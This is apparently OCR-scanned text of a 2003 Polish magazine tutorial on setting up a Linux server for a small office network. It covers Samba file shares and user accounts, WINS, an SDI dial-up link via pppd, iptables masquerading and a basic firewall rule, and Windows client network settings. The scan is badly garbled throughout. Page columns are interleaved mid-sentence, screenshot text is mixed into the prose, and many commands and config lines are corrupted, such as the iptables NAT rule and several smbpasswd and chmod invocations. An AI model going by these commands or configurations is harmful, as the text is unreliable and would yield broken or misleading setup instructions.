disable = no

5. Nastgpi prosha o autoryzacje,
gdzie nalezy podac login oraz [ ]

-

[rootBHellCate rootl]# cat Jetc/=inetd.conl
# Simple configuration file for xinetd
#

# Sume defaulls, and include Aetc/xinetd.d/

server = /usr/local/samba/‘bin/swat

G0

SYSLOG authpriwv
HOST PID

HOST

23 30
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PORADY LAN Z DOSTEPEM DO INTERNETU

Tworzymy wspélne udziaty

Ekspert pokaze, jak stworzy¢ dwa rodzaje udziatow. Jeden z nich bedzie
dostepny dla wszystkich uzytkownikéw z prawami do odczytu, a reszta be-
dzie udziatami opartymi na katalogach domowych poszczegoinych kont.

1 5amba Web Administration Tool - Mozilla {Build ID: 2002121606}
Plik Edycja ‘Widok Prezejdi ZaMadki Marzedzia Okno  Pomoc

@ @ @ Q [ reepegise.186.0.1:501 giobals

hasto uzytkownika
root i mozemy juz
konfigurowac

ustugi Samby @.

. — : = Warto wiedziec, ze
@ . @ @ pofaczenia z pane- 1. Zaczniemy od stworzenia pierwszego udziafu, ktéry nazwiemy wspol-
HOME  GLOBALS = SHARES PRINTERS MIZARD  STATUS | |em administracyj-  My. Tworzymy go na dysku poleceniem: mkdir /home/wspolny Nalezy
nym nie sg szyfro-  teraz wprowadzi¢ niezbedne informacje w pliku konfiguracyjnym o nazwie
: wane, dlatego, z~ /etc/smb.conf @----------------  HZtai5s wepoiny
Global Variables wagledow bezpie- > [wspolng]

path = shomeswspolny

2. Kazdy uzytkownik ma do powyz-

Comenit Chenges | | MesetVahies | Advanced'View czenstwa, Ekspert gomri]l_e;t = Lulspflng katalog
odradza faczenie s7eqo katalogu dostgp na poziomie | prauegble o ves
Base Options Sie z serwerem odczytu. Proba zapisu zakonczy sig  |writable = no
Help  workgroup [FiRHE St Defauit_| przez internet. niepowodzeniem — definiuje to parametr @<---------- A
Help  netbios name [tmuks Sat Dafault Program SWAT jest U . s k I y . k .k y
Help  server siring Fie Server et Defalt | intuicyjny i nie po- prawnlenla ata Ogow I.Izyt ownikow
Tl i | T winno by¢ proble- 1. Kazdy uzytkownik, majacy swoje konto w systemie i w pliku z hastami
S mow z jego obstg— doISalmby, moze uzyskac peten dostep do swojego katalogu macierzystego
Help  security ga',w fazie Wa.tp“_ £ SIEF}I. Pozwala na to #katalogl domowe uzytkownikow
it ; wosci zaleca sig sekcja [homes]. Wystar- | [homes] _
Ielo  enciypt passwords \igpp et skorzystanie zdo-  czy w pliku smb.conf ;> comnent = Katalog damowy uzytkownika
Ecp  wpdateencypted | SERVER (AN : kumentacji pomoc-  dopisa trzy linijki @--- [W"itable = yes
niczej.
LT DCE ) Konta uzytkownikéw @ Ekspert radzi ]

[ternatywa dla narzedzia SWAT jest Webmin. Sta-

nowi on rozbudowany pakiet administracyjny do za-
rzadzania systemami uniksowymi, ktéry podobnie jak
SWAT pracuje jako miniserwer WWW. Gtowng zaletq
Webmina jest to, e jest on znacznie bardziej rozbudowa-
ny. Ma wiele modutéw pozwalajacych administrowac nie
tylko Sambg, ale i wiekszoscig ustug w systemie. Zaletg
jest tez bezpieczenstwo pracy, gdyz potaczenia z nim sg
szyfrowane z wykorzystaniem SSL.
Najnowsza wersja programu dostepna jest w internecie
pod adresem www.webmin.com. Zamieszczony jest
takze na ptycie dotaczonej do Eksperta.

oraz hasta

Aby uzytkownicy systemow Win-
dows mogli dostac sie do plikow
znajdujacych sie na serwerze linuk-
sowym, musimy stworzy¢ im od-
powiednie konta.

1. Gdy w sieci wstepuja rozne
systemy operacyjne, w celu kom-
patybilnosci Samba musi obstugi-

wac zarowno szyfrowane hasta, jak i te przesytane w postaci jawnej. Dlate-
go w sekcji [global] pliku smb.conf dopisujemy dwie linijki @---------- .

bajac o jak najwyzszy poziom bezpieczenstwa naszego serwera, dobrze
jest w sekgji [global] pliku smh.conf ograniczy¢ dostep do niego, tylko

#ograniczamy dostep tylko dla hostow z nasze] sieci
hosts allow = 192.168.0.

-«

#reszte blokujemy
hosts deny = ALL

<

2. Wten Sposa6b nie trzeba definiowaé katalogu dla kazdego konta i sg
one tworzone automatycznie. Inni uzytkownicy nie majg do niego dostepu.
Powyzsza konfiguracja nie jest zbyt skomplikowana. Jednak mozliwosci
definiowania ustawien pracy Samby s3 duze, dlatego zainteresowanych
bardziej rozbudowang konfiguracjg Ekspert odsyta do szczegdtowej doku-

Dla zwigkszenia bezpieczenstwa serwera Ekspert zaleca wymuszenie auto-

mentacji tego narzedzia.
ryzacji przez kazdego, kto probuje uzyskac dostep do zasobow. Wymusi to

krdtki wpis w sekcii [global] pliku [op oy o~ e Mapujemy dyski = =
smb.conf: guest ok = no encrypt passwords = yes Mamy juz skonfigurowany serwer Samba | ’ : :
i 7 é A in- Sebastanna  “Wspolhy na
i mozemy zacza¢ korzystac z udostepnio Lkt T Lk

2. Podczas autoryzacji uzytkownikow Samba korzysta ze swojej bazy
kont umieszczonej w pliku smbpasswd. Domyslnie plik nie istnieje, wiec
tworzymy go w katalogu /usr/local/samba/private poleceniem:

touch /usr/local/samba/private/smbpasswd

nych na nim zasobow. Kazdy system Win-
dows moze podtgczy¢ sie do udostepnionego katalogu i zmapowac go pod
wolng literg dysku (musimy tylko przypisac klientom numery IP — patrz

1 3. Nalezy tez poinformowac o tym plik konfiguracyjny Samby, 1. Proces podiaczania mozemy przeprowadzi¢ na kilka réznych sposobow:

podajac w nim lokalizacje tej bazy, wiec w smb.conf wpisujemy:

-a (dodaje uzytkownika) ) |
smb passwd file = /usr/local/samba/private/smbpasswd

-d (blokuje konto)

-e (odblokowuje konto)
-x (usuwa konto)
smbpasswd podane bez
argumentu zmienia kon-

o Klikamy prawym przyciskiem myszki na ikong Otoczenie sieciowe i wy-
bigramy polecenie [Mapuj dysk sieciawy... | W pojawiajacym sig oknie

podajemy catg Sciezkg do zasobu @, poprzedzajac jg dwoma ukosnikami,
naprzyklad e ea— =5

4 . W celu umozliwienia uzytkownikowi korzystania z plikow na
serwerze nalezy najpierw zatozy¢ mu konto w systemie za pomocq

Mapuj dysk sieciowy

kretnemu uzytkownikowi _POlecenia adduser @, a nastepnie dodac je do bazy kont Samby  \\linuks\wspolny
hasto. komenda smbpasswd z odpowiednim parametrem @x------------ Okna r6znia sie |=F ]
pm-------- w zaleznosci Scieka [k sheainy T
i 5. Powtarzamy czynnosci z kroku 3 dla innych kont. Szczegéty na temat od tego, czy - 7 (Bodiaeas ponowwie po sionomars; <€
i skiadni polecenia smbpasswd znajdziemy w ramce obok. korzystamy i
| 7 SyStemU Win_ i Mapowanic dysku sleciowego E]
S [rootBHellGate root]# adduser Wojtek dows 9x @------ ; System Windows moze pomdc potacayt sie 2
[rootBHellGate rootl# passwd Wojtek ZOOO/XiD - e L
Changing password for user Wojtek. Czy : Folderu, uywajac okna MA] komputar.,
Mew password: ?hucgmldyﬂudhwlqtzcriniioldmzhﬁrvm cheesz
Retype new password: ) S 2
passwd: all authentication tokens updated successfully. o Przegladajac wee oM
[rootBHellGate rootl# cd fusr/local/samba/bin Otoczenie siecio- Foder: | Winundpomek | |przediadat...

[rootBHellGate binl# ./smbpasswd -3 Wojtek <

Prayklad: Yserweriudsal
Mew SMB password:

[ZlPatacz
Zapies sie, abry woyskal magasyn oobine b

L siee 2 serwerem

we, wchodzimy
w zasoby kon-
kretnego kompu-

Retype new SMB password: e
Added user Wojtek.
[rootBHellGate binl# _
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tera, a nastgpnie na interesu-  [FETEETELT nim to nastapi, nasz komputer odpytuje wszystkie komputery a A
jacy nas katalog klikamy pra- . Dy 5 Y sieci 0 ich nazwy. Powoduije to zbegdny ruch. Lepiej jest CEkspertradm
wym przyciskiem myszy (cza- : ) gdy to serwer WINS przechowuje liste poszczegdlnych ho- p arametr @ definiuje kolejne

sem trzeba poczekac kilka mi- || 2o it P stow w sieci wraz z odpowiadajacymi im adresami IP Przy- sposoby na przetfumaczenie

nut po wigczeniu komputera ¥ { Bedk ez panounis po zslogonani spiesza to znacznie przegladanie sieci. 27 T @ e [ et 2l o

. T . T . . puteréw na adres |P. Najpierw IP
na jego pojawienie sig w oknie Otoczenia sieciowego). Wybieramy, tak jak e e L e

w poprzednim przypadku, polecenie [Mapuj dysksieciawy...], w pojawiaja- 1. Jednym z komponentéw Samby jest demon nmbd, szukane jest w plikach Imhosts

cym sie oknie wybieramy litere dysku @. Ten sposob jest wygodniejszy —  kidry oferuje emulacje ustugi WINS. Skoro mamy juz zain- i hosts. Jesi zakoriczy sig to nie-
nie trzeba pamieta¢ doktadnej Sciezki do mapowanego zasobu. stalowana Sambe, to warto wykorzysta¢ jej dodatkowe moz-  Powodzeniem, WINS szuka go
liwosci w swojej aktualnej bazie danych.
3l ) Lo . Ostatnim rozwigzaniem jest roze-
l‘ Ekspert radzi ] W celu uaktywnienia WINS wystarczy w pliku smb.conf  ¢iorie 7apytania o nazwe do kom-
dopisac takie dwie linijki @. puteréw w sieci (tzw. broadcast -
p odczas faczenia ze zdalnym zasobem, w trakcie autoryzacji proszeni jeste- ! beast). Jesli chcemy wytaczy¢ nie-
$my o podanie naszej nazwy uzytkownika oraz hasta. Oczywiscie muszg i [ #ob =luga WINS ktore ze sposobdw wykrywania ho-
Wprowadzanie hasla sieciowego by¢ one zgodne z tymi na serwerze !’nﬂins support = yes stow w sieci, wystarczy usuna¢
Linux. Windows 2000/XP wyéwiet- ! | #kolejnosc odpytywania WINS . odpowiedni wpis z pliku smhb.conf
. ) ) . . FPname resolve order = lmhosts host wins becast 4
Miepoprawne hasto lub risznana nazwa uzptka| la okno, proszac na podanie loginu ) 3 T
WHellgate\wspoly g oraz hasta @. Problem pojawia sie 5 — |
-« . . FETIN . . . dawansowane ustawienia '
Podracz jeka: [wolek ?rﬁ(’;vggc'l‘ii‘ffhi;:to.'y;T:’;:‘q‘“"a 2. W celu usprawnienia pracy ustugi WINS, Ekspert zale-
‘ y i - Sy i ib oli Ustawienia protokotu P | DNS  WINS
Hasha:  — stara sig automatycznie uwierzytel- cd Stworzem? W kE’it,a|IOgU /u§r/IocaI/§? mba/l.lb plll'(u E— I
ni¢ potaczenie za pomoca nazwy Imhosts, ktory pozniej nalezy wypetni¢ danymi o kazdym Sy e S o el e v
uzytkownika, ktora wykorzystuiemy  komputerze w sieci. Bazg hostow wypetniamy w nastepuija- { .
do logowania sig w Windows 9x. cy sposob @.
Ay nawigzac to potaczenie. nalezy padac b | Aby uniknac problemow, Ekspert  p---Zommmmeeee H
=< zaleca zaktadanie na Linuksie kont . ) % Wiaez rzpoznawaiz kS
) (polecenie adduser) o tych sa- 3. Aby kazdy komputer z Windows korzystat z dobro- : a” Eae
Zazdh: WLINUKSWSEBASTIA e e, K e dZiEjStW usfugi W|NS, nalezy W jego ustawieniach siecio- Kolejnoge przeszukivwania senwera wihS:
Hasta: | przy logowaniu do systemu Win- wych zdefiniowac adres IP serwera, na ktorym pracuje 6w |:|
GoiB 8 demon @. Mozna to zrobi¢ w ustawieniach protokotu TCP/IP | ||/ ID zakiest:
{ na zakladce @ ] |192'138'”'1
o Opcja mapowania dyskow dostgpna jest [ E PodgRd Kenfiadrada PG
tez w menu . Eksploratora Win- ;Tcze;ia ;ie_cio@e--- (Q Trudne terminy
dows. Odnajdziemy jg takze w menu pro- | S

Udostepnij aktualny katalog, ..
Zakoncz udostepnianie. ..

» adresy IP prywatne - pule adreséw IP wyselekcjonowane przez organizacje standaryzacyjng
Fales eekielne e IANA do .uiywania w sieciach lokalnych z dostepem do internetu realllizowfanym przez dodatkgwe
o Ostatnig metodg jest podtaczanie do za- urzadzenie ttumaczace adresy (bramka, ruter) . Komputery postugujace sie adresami IP z puli

sobu z linii komend za pomoca polecenia net use ®. prywatnej nie mogg by¢ bezposrednio podtaczone do internetu.

C:>net use x: ““linukswspolny » adresy IP publiczne - adresy, ktérymi mozna sie postugiwac w internecie. Publiczne adresy
Haso dla “SLINUKSNWSPOLNY jest niewlafciwe. Aby uzys IP przydziela dostawca ustug internetowych.

skl:_lntaktuj gie z administratorem sieci. .
Wpisz haslo dla “SLINUKSSWSPOLNY : oo » bramka (brama internetowa, gateway) - komputer lub ruter, za pomoca ktérego

Polecenie zostalo wykonane pomy<lnie. komputery w sieci lokalnej uzyskuja dostep do internetu. Bramka moze réwniez ttumaczy¢ adresy IP

prywatne na publiczne i odwrotnie (tzw. NAT - Network Address Translation).

2. Warto zwréci¢ uwage na to, ze podczas taczenia sig z udziatem mamy » demon - program, ktéry practje w tle, a jego zadaniem jest najczesciej obstugiwanie zadan
do wyboru opcje @. Gdy ja zaznaczymy, przy kazdym kolejnym logowaniu uzytkownikéw (np. ustuga WWW). W systemach z rodziny Windows demony nazywamy ustugami.

do systemu dysk sieciowy zostanie automatycznie zmapowany. » DNS - ang. Domain Name Service - ustuga, ktora podobnie jak WINS odpowiedzialna jest za

kojarzenie nazw hostéw z ich adresami IP, ale gtdwnie w srodowisku internetu. Kazda domena in-
3. Weelu odtgczenia udziatu, nalezy klikng¢ na nim prawym przyciskiem ternetowa, zanim zostanie zarejestrowana, musi mie¢ przynajmniej dwa obstugujace jg serwery
myszy | wybra¢ z menu polecenie [Odtacz . Mozemy tego dokonaé réwniez nazw. Pierwszy, to podstawowy (primary), na ktorym trzymana jest lista komputeréw w domenie,

7 linii komend, wydajac polecenie net use h: /d (jesli udziat zmapo- \élvraz z OdSOWI'an'aLiaerljlm IP. To B?\gej v;/prowszane sq WS:]E"(IE zmm;ykdotycz.gcg konfiguracji
wany 708t jako ltera hs) omeny. Drugi (i kolejne) serwery petnig role zapasowych, na wypadek awarii pierwszego.

& » dOWiQZBI‘IiE symboliczne - ang. symbolic link - plik, ktorego zawartos¢ stanowi Sciezka
Numery IP klientéw eresy IPw LAN" wskazujgca na inny plik lub katalog. Pozwala to tworzy¢ wiele skrétow odnoszacych sie do jednego
. . o . obiektu. W systemach UNIX dowigzanie symboliczne tworzy sie poleceniem In
Zanim zmapujemy jakikolwiek

. , nazwa_komputera  adres IP i - et il
dysk sieciowy z systemu Windows, T p 19016801 .» kompllator GCCICC darmowy kom;lallatorljezyka C (GNU C Compiler), nlezbednly do
) L konfiqurowac -100.5, instalacji programow dostarczanych w wersjach nieskompilowanych. W starszych wersjach syste-
mus!my na]plgrw skonfig o Komp1 192.168.0.2 mow UNIX kompilator byt dostarczany przez producenta i nazywat sig CC.
na nim protokot TCP/IP Wpisac nale- Komp2 192.168.0.3 ..
7y w nim adres IP naszego kompute- » maska sieci - liczba yvskazujaca podziat w adresie. IP-na adres ?ie.d i atlires znajdujaFego sie w niej
by | kazdei maszy- : komputera. Na przyktad liczba 255.255.255.0 informuije, ze adres sieci to pierwsze trzy liczby adresu IP.
rd <mUS|t th tl)nT}i/ na kaz J) Y= 16 odsiadesip: Komputery uzywaja maski podsieci do ustalenia, czy znajduja sie w tej samej czy w innej sieci.
_______ nie — patrz tabelka powyzej) oraz i —
maske podsieci ®. W sieci stworzo- | 2desl 192.168. 0 2 » NetBIOS - ang. Network BIOS - protokét stworzony przez IBM i Syteka, prze- .
) ) L N cc oo - znaczony do komunikacji miedzyprocesowej w sieciach LAN i zaimplementowany s S
nej przez Eksperta maska podsieci e (|2o0-000. 238D
) 1P p ! q p. : w Windows. W Windows Sx nazwa NetBIOS-owa jest widoczna na zaktadce Identy- - -
jest 255.255.255.0. Wigcej informa- fikacja w ustawieniach Klienta sieci Microsoft, a takze w Otoczeniu sieciowym ..—----i»rwzj’_i% m%:w
Cji na temat klas adresow P znajaziemy w ramce na stronie 3. » reguia firewalla - dziatanie kazdej sciany ogniowej polega na respektowaniu zdefiniowanych
. w niej regut, czyli sposobu reagowania na poszczegdlne zdarzenia. Pakiety docierajgce do firewalla sg
Samba Jako serwer WINS sprawdzane pod katem regut, a nastepnie przepuszczane lub blokowane. Najczestszymi, podejmowa-
WINS, czyli Windows Internet Name Service to ustuga stworzona przez nymi akgjami w stosunku do pakietéw sa: ACCEPT (akceptuj), DENY (blokuj) i DROP (odrzu¢).

........ Microsoft do odwzorowywania nazw komputerow na adresy IP w sieciach » WINS - ang. Windows Internet Name Service - ustuga wykorzystywana w sieciach LAN, z ktcrej
lokalnych, czyli innymi stowy swego rodzaju DNS dla sieci LAN. Przeglada- korzystajg Windows. Jej zadaniem jest kojarzenie adreséw [P komputeréw z ich nazwami NetBIOS.
jac Otoczenie sieciowe, wySwietlajg nam sie nazwy komputerow, jednak za-
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oste

do internet
anim uzytkownicy sieci bedg mogli korzysta¢ z internetu, musimy

Z odpowiednio skonfigurowa¢ serwer. Zaczniemy od instalacji i konfi-
guracji terminalu SDI, ktéry podigczamy do portu com1 komputera. Sche-

mat naszej sieci bedzie wygladaf tak @ — komputery poprzez serwer li-
nuksowy @ i tacze SDI bedg uzyskiwaty dostep do internetu.

___________ Jd

Kompl
[192.168.0.2]

1. Cata konfiguracja SDI polega na
konfiguracji kilku plikow w Auroksie.
Na poczatku nalezy sprawdzic, czy
istnieje plik /ete/sysconfig/
network-scripts/chat-ppp0 Jesli
g0 nie ma, trzeba go stworzy¢

i wypetni¢ dwoma apostrofami ().
Nic innego nie moze sig w nim
znajdowac!

internet

|0122.223.224.225]

[192168.0.5]

Komp2
[192.168.0.3] i

Na potrzeby artykutu przyjmijmy,
ze w ramach ustugi HIS TP SA
przydzielita nam login his115,
hasto HASLO123 oraz adres IP
122.233.234.235

Komp3
[192.168.0.4]

2. Teraz zajmiemy sie plikiem

Testujemy SDI

/etc/ppp/pap-secrets, kiory row-

dzialny za wykrywanie

mrugajace kontrolki na

by upewnic sie, ze komunikacja miedzy serwerem,

a terminalem SDI przebiega prawidtowo, Ekspert zale-
ca wykorzystanie ustugi Kudzu. Jest to demon odpowie-
uruchomimy, przy starcie Linuksa powinnismy zauwazy¢

startujacych ustug ustawiamy komenda ntsysv .

niez musi zosta¢ wyczyszczony. Wpi-
sujemy w nim tylko dane dotyczace
naszego potaczenia z SDI, czyli login
oraz po gwiazdce hasto i adres IP
przydzielony przez TP SA. Kazda po-
zycje oddzielamy spacjg. Wyglada to

nowego sprzetu w systemie. Gdy go

terminalu SDI. Liste automatycznie

[rootBHellGate rootl# cat /etc/ppp/pap-secrets
# Secrets for authentication using PAP

# client server secret IF addresses

his115 * HASLO123 122.233.234.235 &

3.w katalogu /etc/rc.d musimy stworzy¢ skrypt, ktérego zadaniem be-
dzie uruchamianie demona pppd i faczenie z internetem. Nazwijmy go

v PORADY LAN Z DOSTEPEM DO INTERNETU

Automatyczne nawigzywanie potaczenia

1. W celu ufatwienia sobie zycia zmusimy Linuksa, aby automatycznie wy-
wotywat /ete/re.d/rc.his i taczyt sie z internetem zaraz po uruchomieniu
systemu. Wystarczy tylko dopi-
sa¢ na koncu pliku
/ete/re.d/rc.local skiypt @-

if [ -x Aetc/roc.d/roc.his 1; then
Jetc/ro.d/re.his
i A

2.« Moze s [rootBHellGat t1# cat /etc/ppp/opti
zdarzyé, 6 7 167~ 122300 ellGate roo cat Jetc/ppp/options

q mocem .
nych WZg_ledO_W defaultroute ~
potaczenie zin- | noipdefault

lock

ternetem zosta- o
i noauth
ne Zerwane'. . | user hisldS
Sprawe rozwiaze | persist

_ lcp-echo-interval 20
ponowne uru lcp—echo-failure 5

chomienie
rc.his. Ale co, gdy nas nie bedzie w poblizu? Aby potaczenie byto samo-
istnie nawigzywane w razie jego zerwania, nalezy wyedytowac plik

/etc/ppp/options i zdefiniowa¢ parametry uruchamiania demona pppd.

Zawarto$¢ pliku powinna wygladac tak @-

Translacja adreséw (maskarada)

Mechanizm maskarady wykorzystywany jest w wypadku, gdy sie¢ sktada
sie z wielu pecetow, ale mamy przydzielony przez providera tylko jeden pu-
bliczny adres IP Adresy uzywane w sieciach lokalnych sg adresami prywatny-
mi, dlatego nie s3 widoczne w internecie. Jednemu z komputerow — serwe-
rowi, przez ktory klienci uzyskujg dostep do internetu — przydziela sie pu-
bliczny adres. Komputer ten ttumaczy adresy publiczne na prywatne (i od-
wrotnie). Dzieki temu mozliwa jest wymiana danych miedzy komputerami
zZnajdujgcymi sie w sieci lokalnej i w internecie. Ta technika ukrywa wszyst-
ko, co znajduje sie w wewnetrznej sieci, dzieki czemu w znacznym stopniu
zwigkszone zostaje jej bezpieczenstwo. Stad tez nazwa — maskarada.

1. W naszym przypadku, korzystajac z ustugi SDI, mamy do dyspozycji
tylko jeden publiczny adres (122.233.234.235), a pecetow w sieci jest kil-
ka. Dlatego w celu umozliwienia im korzystania z internetu zastosujemy
technike maskarady. Do realizacji tego postuzymy sige mozliwosciami, ofe-
rowanymi przez firewall IPtables (jest on wbudowany w system Linux z jg-
drem 2.4*). Najprostszg metodg uruchomienia na serwerze maskarady jest
dopisanie do pliku /ete/rc.local instrukcji ®. Musimy takze wigczy¢ prze-

kazywanie pakietow IP (tzw. IP forwarding) ®. Dzigki temu serwer bedzie

|| [rootBHellGate ro
#!/binssh
| pppd Adew/ttys0 1

ot]# cat /etc/rc.ds/rc.his V

15200 modem defaultroute lock crtscts noauth user hislls

L T

Zwrocmy uwage na zapis portu, do kiérego podpiety zostat nasz termi-

nal. Je$li to com1 @, to w Linuksie nazywamy go ttyS0, je$li natomiast
com2, to ttyST1.

4. Skrypt musi mie¢ prawa do wykonania, wiec nadajemy je poleceniem:
chmod utx /etc/rc.d/rc.his

5. Ostatnim krokiem jest zdefiniowanie listy serweréw DNS naszego
ustugodawcy internetowego (w tym przypadku TP SA). W pliku /etc/re-
solv.conf wpisujemy @.

[ ——

PR

posredniczyt w komunikacji pomiedzy siecig LAN a internetem, przesytajac
przychodzace informacje do odpowiednich komputerow.

LrootBHellGate rootl# cat /etc/rc.d/rc.local

#!/binssh

#

# Thiz script will be executed xafterx 3ll the other init scriptg
# You can put your own initialization stull in here il you don’t
# want tn dn the full Sys V style init stuff.

Lomchr AvardTock Ssobsys=SToeal

if [ -x Aetedroodfre his 1; then
fotedre.dirc.his

fi

HmAaskowAanie wssy=tkivgn oo preechods i peees inberfejs pppd

ssbinfiptables -t nat -n PUSTREUUTLMG -o pppQ -7 MASHUERALE €

huruchomienie przekazywania pakietow IF
echo 1 » /procdsysinet/ipvd/ip forward

/usr/local/samba/bin/startsmb

[rootEHellGate roctl# cat Jetc/resolwv.conf
| nameserver 194.204.152.34
nameserver 194.204,159.1

Neostrada na Linuksie

1 6. 0d tej chwil

K

wyglada nieco inaczej.

PPPoE).

onfiguracja Linuksa do pota-
czen przez ustuge Neostrada

nika z faktu, ze Neostrada Plus wy-
korzystuje catkiem nowy mecha-
nizm PPP over Ethernet (w skrdcie

mozemy taczy¢ sie
Z internetem, wywo-
tujac z konsoli
stworzony wczesnigj
skrypt. Wystarczy
wpisac polecenie:
[ete/rc.d/rc.his

Szczegotowe opisy, jak skonfiguro-

wat Neostrade pod Linuksem, do-

stepne sg pod adresami:

@ www.neostrada.pl/doc/instala-
cja_i_rejestracja_linux.pdf

® http://fag.neostrada.pl

® http:/fiokware.com/neostrada.php

Roznica wy-

CZERWIEC - LIPIEC 2003 (e aaa]

2 . Za realizacje maskarady odpowiada w systemie IPtables, dlatego na-
lezy zadbac o to, aby ustuga ta byta uruchamiana podczas startu Linuksa.
Zrobic to nalezy narzgdziem ntsysv

Konfiguracja stacji roboczych

Do prawidtowego funkcjonowania sieci i mozliwosci korzystania z do-
brodziejstw internetu wymagana jest jeszcze odpowiednia konfiguracija
komputeréw — kligntow.

1. Dia pecetow w sieci lokalnej przydzielone zostaty prywatne adresy
z klasy C (IP 192.168.0.0, maska 255.255.255.0) Niektore z parametrow



@ Dane do konfiguracji klientéw |

> Wpisujemy  Uwagi
Adresy komputerow ~ 192.168.0.X gdzie X to liczba z przedziatu 2-254
Maska podsieci 255.265.255.0  taka sama na wszystkich komputerach w sieci LAN
Brama internetowa  192.168.0.1 przez nig hosty uzyskuja dostep do internetu
Serwer WINS 192.168.0.1 rozwigzywanie nazw w sieci lokalnej
Serwery DNS 194.204.152.34  rozwiazywanie nazw w internecie (numery serwerow
194.204.159.1  powinien nam dostarczyé nasz provider)

widocznych w tabeli ® wprowadzono juz w czesci poswieconej sieci LAN,
ale dla utatwienia Ekspert przygotowat zestawienie wszystkich danych. Na
kazdym pececie, niezaleznie od systemu operacyjnego, ustawiamy widoczne
w tabeli parametry — inaczej sie¢ LAN lub internet moze nie dziatac.

‘Whaiciwoici Protokot TCP/P

2. W celu wpro-

wadzenia tych para- Poigaria | Zaswancowsne | Nelfs

metrow w Windows Fonhguraca UMS | Brama | Konhguracis WINS Arires [P
: T Ll

9x wehodzimy do et rezypisiie

ustawien sieci, na-
stepnie do wiasciwo-
$ci protokotu TCP/IP

Autnmalyernie
mm Fapyta acminishtaties sieci o aries, A nastennia
wpis2 Qo W odpowiedrim migjrcu ponizej.

© Automatycznic uzyshaj adies IP

Na zakfadce @------- @ [Podaj adies ]

ustawiamy adres 1P Ades P 192168 0 4
i maske podsieci

(o ile nie zrobilismy S e e 1

juz tego, korzystajac KofiguaciaDNS | Biama | KoufwasiaWINS | AdesIP
ze wskazowek na

stronie 39).

' wiykez DNS
& ‘Whacz DNS

.M|— bogens s

nNe

IZ_I

3. Nastepnie
Zmieniamy jeszcze
ustawienia na za-

Kadce @ wiaki | e [
$posob, aby podac i Kuriiguacia DNS Bmﬁ KunfgwacaWiNS | AdesIP
nazwg hosta @----* o i

(M07€ by dowOINa, | || bras ol Kolpds acesimabion besoa.

ale najlepigj, aby by-| || B et ey

fa zgodna z nazwg

komputera w sieci “|—|°"‘°"'°"“ :

lokalnej) oraz wpisu- e pood_|

jemy adresy serwe- Zainstakowane bramy:

row DNS @--------- [ W st | ‘

4. Konfigurujemy brame, podajac adres IP komputera, przez kidry pecet
bedzie faczyt sig z internetem. Robimy to na zakfadce @, wpisujac @-----

Kilka stéw o bezpieczenstwie

Role barykady, chronigcej naszg sie¢ od zagrozen czyhajacych w inter-
necie, pefni nasz serwer. Jest on pierwsza linig obrony, dlatego tak wazne
jest jego bezpieczenstwo. Kluczowe znaczenie ma w tej sytuacji odpo-
wiednia konfiguracja wbudowanego firewalla, ktorym w Auroksie jest IPta-
bles. Ta $wietna Sciana ogniowa ma spore mozliwosci konfiguracji — wielu
internautow uwaza, ze lepiej spetnia swg role niz IPchains.

1. W naszej sieci nie udostepniamy zadnych ustug uzytkownikom tacza-
cym sie ze strony internetu. Dlatego nie ma potrzeby zezwalania na jakie-
kolwiek proby nawigzywania potaczen z zewnatrz — w tym celu wystarczy

w pliku /ete/re.local wpisac jedng reguie @-

#Blokujemy wszystkie proby nawiazania polaczenia do serwera
#ktore nie pochodza z nasze] sieci

et

/sbin/iptables -A INFUI —-p ILF -s ! 192.168.0.0/24 —-syn -] LURUF <&

@ Ekspert radzi

stepnych ustawien firewalla do-
kona¢ mozemy za pomocg do-
stepnego narzedzia Lokkit - urucha-
mianego poleceniem 1okkit.

W ten sposob uzytkownicy naszej sieci mogg swobod-
nie surfowac po internecie, ale wszelkie proby pofaczen
z innych sieci zostang odrzucone (porzucenie pakietow).
Pamietajmy, ze w momencie, gdy zechcemy zainstalo-
wac na serwerze na przyktad ustuge WWW, powyzsza re-
gufa nie bedzie zezwalata na korzystanie z niej uzytkowni-
kom spoza naszej sieci. Trzeba bedzie jg zmodyfikowac.

2. Jesli chcemy stworzyé bardziej rozbudowane reguty firewalla, warto
przygotowaé dla nich oddzielny plik, na przyktad /etc/rc.d/rc.firewall

W celu jego zainicjowania podczas startu Linuksa dopisujemy jego Sciezke
do /etc/re.local Cheac blokowac lub zezwala¢ na potaczenia z poszcze-
go6lnymi ustugami, trzeba znac porty, ktérych one uzywaja. Ich numery
mozna znalez¢ w pliku /ete/services

Co robi¢, gdy sie¢ nie dziata?
1. Na samym poczatku sprawdzamy, czy wszystkie urzadzenia sg ze sobg
poprawnie potaczone, opierajgc sie na zaleceniach z pierwszej czesci tekstu.

. . . Connection—specific DNS Suffix . =

2. Upewniamy sie, czy karta sie- e liBioD 5 5 5 5 0 0 06 o o o 8 Bl NS
i i i - |Physical Add e = = = = = = - . = BB-58-BF-FF-54-
C|owalzostai§1 praw!dtowo zalnstglo Bi n:cE:a"h lizsss o 2000 oo R o
wana i czy nie ma zadnych konflik- g, 88" Ragy = = =t xnn st SEE0ES 0ed o
10w dotyczacych przerwan badz  [JRERGIEGRESMAY = = = = n n o o A iaRa 6204

i 194.284.15% .1
SterOWnlka. Primary WINS Server . . . . . . . = 192.168.8.1
3. Komenda ipconfig /all sprawdzamy poprawno$¢ ustawien TCP/IP @----------

4.7 pomocg narzedzia diagnostycznego ping sprawdzamy poprawnosé
komunikacji miedzy poszczegdlnymi komputerami w sieci lokalnej o

5. W Windows 2000/XP konfiguracja wyglada nieco inaczej. We wiasci-

[rootBHellGate /J# ping 192.163.0.4 \ |
PING 192.168.0.4 (192.168.0.4) from 192.168.0.1 : 56(84) bytes of data. |
64 bytes from 192.168.0.4: icmp_seg=1 £t1=128 time=0.398 ms

wosciach pofgcze-
nia lokalnego za-
zZnaczamy protokot

() Uzpskaj adres IP automatycznie -€
(&) Uzyi nastepujgcego adresu IF:
:' Adres P

192 188 . 0 . 2

TOP/IP Ofwieramy ;- weska pocsict
Jego WiaSC|W9_S_C_|___‘i =\ Brama domyslna: ,=
i w polach 'Y Wpi-

Uzyzkaj adres zenwera DMS automatyczhie

sujemy numery IP
bramy internetowe;
oraz adresy serwe-
ow DNS @.

®

J esli nasza sie¢ sktada sie z niewielkigj liczby hostéw, Ekspert zaleca sto-
sowanie statycznie przypisanych adreséw IP. CGdy liczba komputerow
wzrasta, sugerowanym rozwigzaniem jest wykorzystanie ustugi DHCP,

ktora automatycznie nadaje adresy pecetom @®. Wymaga to jednak instalacji

(®) Uzyj nastepujacych adresdw senwerdw DMNS:

134 204 159 .
r>
Alternatywny zenwer OMS: : 194 204 152 . 34

Freferowany serwer DMS:

Ekspert radzi )

